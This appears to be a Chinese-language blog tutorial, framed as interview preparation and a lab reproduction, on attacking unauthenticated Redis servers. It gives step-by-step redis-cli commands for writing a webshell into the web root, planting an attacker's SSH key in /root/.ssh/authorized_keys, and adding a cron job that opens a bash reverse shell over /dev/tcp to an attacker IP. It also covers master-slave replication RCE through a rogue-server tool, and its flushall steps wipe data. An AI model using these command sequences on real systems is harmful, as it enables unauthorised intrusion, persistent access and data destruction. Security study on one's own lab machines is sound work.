参考:https://xz.aliyun.com/t/13071
面试中经常会问到ssrf的打法,讲到ssrf那么就会讲到配合打内网的redis,本篇就介绍redis的打法。
未授权
原理:
Redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,如配置防火墙规则避免其他非信任来源的IP访问,就会将Redis服务暴露在公网上;如果没有设置密码认证(一般为空)的情况下,会导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。
写入webshell
原理:redis存在未授权访问,并且开启了web服务,知道了web目录的路径,并具有文件读写增删改查的权限,即可通过redis在指定的web目录下写入webshell。(无需root起的服务)
192.168.40.163:6379> config set dir /var/www/html
OK
192.168.40.163:6379> config set dbfilename flag.php
OK
192.168.40.163:6379> set webshell ""
OK
192.168.40.163:6379> save
OK
192.168.40.163:6379>
这样就可以在指定目录下写一个webshell
写入ssh密钥
原理:
在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。
利用条件
1、redis服务是root用户
2、目标服务器开启ssh远程连接
3、目标目录/root/.ssh文件存在
(写入的目录不限于/root/.ssh下的authorized_keys,也可以写入用户目录,不过 Redis 很多以 root 权限运行,所以写入 root 目录下,可以跳过猜用户的步骤。)
注意事项
1、利用之前,要确保一次性写入,不然可能会将上次,或者上上次的内容一起保存起来。
2、此方法需要 flushall,会破坏数据。慎用
利用计划任务反弹shell
原理:
利用Redis未授权漏洞,可以通过写入文件到系统计划任务目录 /var/spool/cron (centos系统,乌班图不可以)下来执行。
主从复制getshell
原理:
Redis如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
在全量复制过程中,恢复rdb文件,如果我们将rdb文件构造为恶意的exp.so,从节点即会自动生成,使得可以RCE
靶机复现
参考:https://xz.aliyun.com/t/13071
参考:Redis漏洞总结 - FreeBuf网络安全行业门户
redis常用命令
set xz "Hacker" # 设置键xz的值为字符串Hacker
get xz # 获取键xz的内容
SET score 857 # 设置键score的值为857
INCR score # 使用INCR命令将score的值增加1
GET score # 获取键score的内容
keys * # 列出当前数据库中所有的键
config set protected-mode no # 关闭安全模式
get anotherkey # 获取一个不存在的键的值
config set dir /root/redis # 设置保存目录
config set dbfilename redis.rdb # 设置保存文件名
config get dir # 查看保存目录
config get dbfilename # 查看保存文件名
save # 进行一次备份操作
flushall # 删除所有数据
del key # 删除键为key的数据
slaveof ip port # 设置主从关系
redis-cli -h ip -p 6379 -a passwd # 外部连接
概念:
Redis是一个使用ANSI C编写的开源(BSD许可)、支持网络、基于内存、可选持久性的键值对存储的key-value存储系统,它可以用作数据库、缓存和消息中间件。
它支持多种类型的数据结构,如 字符串(strings), 散列(hashes), 列表(lists), 集合(sets), 有序集合(sorted sets) 与范围查询, bitmaps, hyperloglogs 和 地理空间(geospatial) 索引半径查询。 Redis 内置了 复制(replication),LUA脚本(Lua scripting), LRU驱动事件(LRU eviction),事务(transactions) 和不同级别的 磁盘持久化(persistence), 并通过 Redis哨兵(Sentinel)和自动 分区(Cluster)提供高可用性(high availability)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。
但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机(master),其他实例都作为备份机(slave),其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
redis操作注意事项
1.使用SET和GET命令,可以完成基本的赋值和取值操作;
2.Redis是不区分命令的大小写的,set和SET是同一个意思;
3.使用keys *可以列出当前数据库中的所有键;
4.当尝试获取一个不存在的键的值时,Redis会返回空,即(nil);
5.如果键的值中有空格,需要使用双引号括起来,如"Hello World".
redis未授权访问
原理
Redis 默认情况下,会绑定在 ip地址:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
攻击者在未授权访问 Redis 的情况下,可以利用 Redis 自身的提供的 config 命令像目标主机写WebShell、写SSH公钥、创建计划任务反弹Shell等。其思路都是一样的,就是先将Redis的本地数据库存放目录设置为web目录、~/.ssh目录或/var/spool/cron目录等,然后将dbfilename(本地数据库文件名)设置为文件名你想要写入的文件名称,最后再执行save或bgsave保存,则我们就指定的目录里写入指定的文件了。
资源下载:Index of /releases/
下载完后解压
tar -zxvf xx.tar.gz
进入目录
cd redisxx
编译
make (我的是新环境还得安装这个make以及build-essential)
这里我下载了3.2和4.0的版本,编译成功后再src目录下会有一个redis-cli和redis-server文件,使用./redis-server /home/redis/redis-3.2.0/redis.conf 这里要指定这个config文件进行启动,测试是否启动使用redis-cli ping 如果回显是PONG就没问题
接下来编辑一下这个redis-config文件,找到这个bind,前面添加#注释掉运行除本地之外的主机登录。
redis3.2之后添加了protected-mode安全模式,默认值为yes,开启后禁止外部连接,所以在测试时,先在配置中修改为no。
再开启kali作为攻击机,kali上面需要apt install redis-server
使用namp进行探测nmap -sV -p 6379 -script redis-info 192.168.1.176
使用redis-cli -h ip 确认漏洞 info查看敏感信息
绝对路径写webshell——有无认证均可
条件
1、知道网站的绝对路径,并且有增删改查的权限
2、root用户启动的redis
3、redis无密码或者弱密码
config set dir /var/www/html/
//切换到网站的根目录
config set dbfilename shell.php
//在磁盘中生成木马文件
set webshell "\n\n\n<?php phpinfo());?>\n\n\n"
//写入恶意代码到内存中,这里的\n\n\n代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行.
save
//将内存中的数据导出到磁盘
进入靶机看看
我这没换行\n确实有点什么问题
重新加入换行写了一遍确实看着没问题了
redis密钥登录ssh
原理
在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。
条件
1、Redis服务使用ROOT账号启动
2、服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
其实,思路跟写webshell的思路一样
攻击机上创建ssh-rsa密钥,也就是生成key,这里密码搞成空全部默认就可以
将公钥写入到一个txt文件中,这里写入一些\n为了防止乱码
将生成的公钥写入redis的内存中
cat key.txt | redis-cli -h 192.168.1.176 -x set gongyao
// -x 代表从标准输入读取数据作为该命令的最后一个参数。
设置路径和保存的文件名,将内存变量导入磁盘文件
config set dir /root/.ssh
config set dbfilename authorized_keys
save
我的靶机是新的靶机没有/root/.ssh目录可以手动创建一个,或者输入ssh localhost也可以创建一个
到靶机这个可以看到创建了这个文件
这里面有其他数据好像也没有问题,一样可以登录上去
ssh -i id_rsa root@192.168.1.176 或者 ssh 192.168.1.176
计划任务反弹shell
漏洞原理
利用未授权访问,可以通过写入文件到系统计划任务目录 /var/spool/cron下来执行。
我看网上的复现都说Ubuntu的有问题要用centos的,Ubuntu的权限什么的不一样,那我就换成centos进行实验
首先监听端口
命令
192.168.1.214:6379> flushall
OK
192.168.1.214:6379> keys *
(empty array)
192.168.1.214:6379> config set dir /var/spool/cron/
OK
192.168.1.214:6379> set xx "\n* * * * * bash -i >& /dev/tcp/192.168.1.122/8888 0>&1\n"
OK
192.168.1.214:6379> config set dbfilename root
OK
192.168.1.214:6379> save
OK
可以在靶机上看到这个任务
也是成功反弹回来了就是感觉这个结果好像被污染了一样
本地Redis主从复制RCE反弹shell
原理:
对于只允许本地连接的Redis服务器,可以通过开启主从模式从远程主机上同步恶意.so文件至本地,接着载入恶意.so文件模块,反弹shell至远程主机。
漏洞利用使用脚本 GitHub - n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE
一开始的redis3版本用这个脚本不知道为什么好像有点问题,后面换成了4版本的成功了
i就是直接一个交互式shell r就是反弹shell 可以自定义ip端口